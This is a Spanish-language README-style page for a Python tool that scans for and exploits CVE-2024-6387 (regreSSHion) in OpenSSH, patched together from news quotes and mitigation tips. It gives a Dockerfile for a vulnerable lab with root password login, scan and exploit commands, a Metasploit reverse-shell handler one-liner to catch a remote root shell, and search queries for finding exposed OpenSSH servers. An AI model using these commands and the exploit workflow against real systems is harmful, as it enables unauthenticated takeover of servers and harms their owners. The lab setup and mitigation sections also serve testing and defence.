
Escanea y explota CVE-2024-6387 (regreSSHion) en servidores OpenSSH. Incluye escaneo multihilo, recuperación de banner, detección de tiempo de gracia y modo de explotación con payload de shell inversa.
Esto es esencialmente una vulnerabilidad estadística: se requiere un gran número de intentos para ganar la condición de carrera y ejecutar código arbitrario con éxito. Los atacantes necesitan superar muchos obstáculos, dijo Schwartz a SecurityWeek. "Incluso en el mejor de los casos, la vulnerabilidad más conocida tarda más de 4 horas en explotarse."
En las notas de la versión de OpenSSH 9.8, los desarrolladores señalaron que la vulnerabilidad solo se ha confirmado en sistemas Linux de 32 bits basados en glibc, y que OpenBSD no está afectado.
El entorno se configura usando Docker.
# 1.1. Writing the Dockerfile
FROM i386/ubuntu:20.04
ENV DEBIAN_FRONTEND=noninteractive
RUN dpkg --add-architecture i386 && apt-get update && apt-get install -y \
build-essential \
wget \
curl \
libssl-dev:i386 \
zlib1g-dev:i386
RUN groupadd sshd && useradd -g sshd -s /bin/false sshd
RUN wget https://cdn.openbsd.org/pub/OpenBSD/OpenSSH/portable/openssh-9.2p1.tar.gz && \
tar -xzf openssh-9.2p1.tar.gz && \
cd openssh-9.2p1 && \
./configure && make && make install
RUN mkdir /var/run/sshd
RUN echo 'root:password' | chpasswd
RUN sed -i 's/#PermitRootLogin prohibit-password/PermitRootLogin yes/' /usr/local/etc/sshd_config && \
sed -i 's/#PasswordAuthentication yes/PasswordAuthentication yes/' /usr/local/etc/sshd_config && \
echo 'MaxStartups 100:30:200' >> /usr/local/etc/sshd_config
RUN echo '#!/bin/bash\n/usr/local/sbin/sshd -V' > /show_version.sh && \
chmod +x /show_version.sh
EXPOSE 22
CMD ["/usr/local/sbin/sshd", "-D"]
sudo docker build --platform=linux/386 -t vulnerable-openssh:9.2p1 .
sudo docker run --platform=linux/386 -d -p 2222:22 --name vuln-ssh-32bit vulnerable-openssh:9.2p1
CVE-2024-6387.py - PoC¡El exploit funciona SOLO para servidores OpenSSH de 32 bits! Esto se debe a que el PoC utiliza punteros de 32 bits. También se sabe que algunas versiones ya están parcheadas, y no todos los servidores son vulnerables. Probado en: Kali Linux, ParrotSec, Ubuntu 22.04
Vulnerabilidad de Ejecución Remota de Código No Autenticada en el servidor OpenSSH
CVE-2024-6387.py es una herramienta ligera y eficiente diseñada para identificar servidores que ejecutan versiones vulnerables de OpenSSH, apuntando específicamente a la vulnerabilidad regreSSHion recientemente descubierta (CVE-2024-6387). Este script facilita el escaneo rápido de múltiples direcciones IP, nombres de dominio y rangos de red CIDR para detectar vulnerabilidades potenciales y garantizar que tu infraestructura esté segura.
Se encontró una condición de carrera en el manejador de señales del servidor OpenSSH (sshd), donde si un cliente no se autentica dentro de los segundos de LoginGraceTime (120 por defecto, 600 en versiones antiguas de OpenSSH), entonces el manejador SIGALRM de sshd se llama de forma asíncrona. Sin embargo, este manejador de señales llama a varias funciones que no son seguras para señales asíncronas, por ejemplo, syslog().
Puedes encontrar los detalles técnicos aquí.
La falla, descubierta por investigadores de Qualys en mayo de 2024, y asignada con el identificador CVE-2024-6387, se debe a una condición de carrera en el manejador de señales de sshd que permite a atacantes remotos no autenticados ejecutar código arbitrario como root.
"Si un cliente no se autentica dentro de los segundos de LoginGraceTime (120 por defecto), entonces el manejador SIGALRM de sshd se llama de forma asíncrona y llama a varias funciones que no son seguras para señales asíncronas,"
"Un atacante remoto no autenticado puede aprovechar esta falla para ejecutar código arbitrario con privilegios de root."
Requisito: python3 actualizado
### Argumentos de Línea de Comandos
mode: Selecciona el modo de operación. Las opciones son scan o exploit.
-T, --targets: Direcciones IP, nombres de dominio, rutas de archivos que contienen direcciones IP, o rangos de red CIDR.
-f, --outputfile: Archivo para guardar los resultados (por ejemplo, result.json).
-g, --gracetimecheck: Tiempo en segundos para esperar después de identificar la versión para comprobar la mitigación de LoginGraceTime (por defecto: 120 segundos).
-n, --nic: NIC de red (por defecto: 'eth0').
-o, --output: Formato de salida para los resultados (opciones: 'csv', 'txt', 'json').
-p, --port: Número de puerto para comprobar o explotar (por defecto: 22).
-s, --speed: Número de hilos para aumentar las posibilidades de la condición de carrera (por defecto: 10).
-t, --timeout: Tiempo de espera de conexión en segundos (por defecto: 1 segundo).
-H, --resolve-hostnames: Resolver nombres de host
python3 CVE-2024-6387.py scan -T example.com -p 22
python3 CVE-2024-6387.py exploit -T example.com -p 22 -n eth0
Todo lo que tienes que hacer es ejecutar el comando de abajo primero (cambia el manejador {yourip}) y ejecutar el exploit después con el comando de arriba
msfconsole -q -x "use exploit/multi/handler; set PAYLOAD linux/x64/meterpreter/reverse_tcp; set LHOST {yourip}; set LPORT 9999; exploit -j"
La herramienta proporciona una salida codificada por colores en la consola para una mejor legibilidad:
Verde: Conexión u operación exitosa. Rojo: Conexión fallida o error. Amarillo: Advertencias o información digna de mención. Cian: Información general o actualizaciones de estado.
/product.name="OpenSSH"app="OpenSSH"product:"OpenSSH"(openssh) and labels=remote-accessGestión de Parches: Aplicar rápidamente los parches disponibles para OpenSSH es crítico para cerrar la brecha de vulnerabilidad. El parcheo oportuno garantiza que los exploits conocidos no puedan utilizarse contra tus sistemas, reduciendo así la ventana de oportunidad para los atacantes.
Control de Acceso Mejorado: Limitar el acceso SSH mediante controles basados en red añade una capa adicional de defensa. Este enfoque minimiza la exposición a posibles atacantes al restringir las conexiones SSH solo a redes o direcciones IP autorizadas. Implementar herramientas como reglas de firewall o usar VPN para acceso seguro puede hacer cumplir estas restricciones de manera efectiva.
Segmentación de Red: Dividir tu red en segmentos ayuda a contener el impacto de una posible brecha. Al segmentar los sistemas críticos y los datos sensibles de las partes menos críticas de tu red, reduces el riesgo de movimiento lateral por parte de los atacantes. Esta segmentación puede complementarse con controles de acceso estrictos y monitoreo para detectar y responder a cualquier intento no autorizado de violar estos segmentos.
Sistemas de Detección de Intrusiones (IDS): Implementar IDS o sistemas de prevención de intrusiones (IPS) permite el monitoreo en tiempo real del tráfico de red y los registros del sistema. Estos sistemas pueden detectar actividades sospechosas y posibles intentos de explotación asociados con la vulnerabilidad regreSSHion. Las alertas activadas por dichos sistemas permiten una investigación y mitigación rápidas antes de que pueda ocurrir un daño significativo.
Monitoreo de Intentos de Explotación: El monitoreo continuo de los registros de red y del sistema es crucial. Busca cualquier patrón o actividad inusual que pueda indicar un intento de explotar la vulnerabilidad de OpenSSH. Este enfoque proactivo ayuda a identificar y responder a las amenazas antes de que puedan causar daño.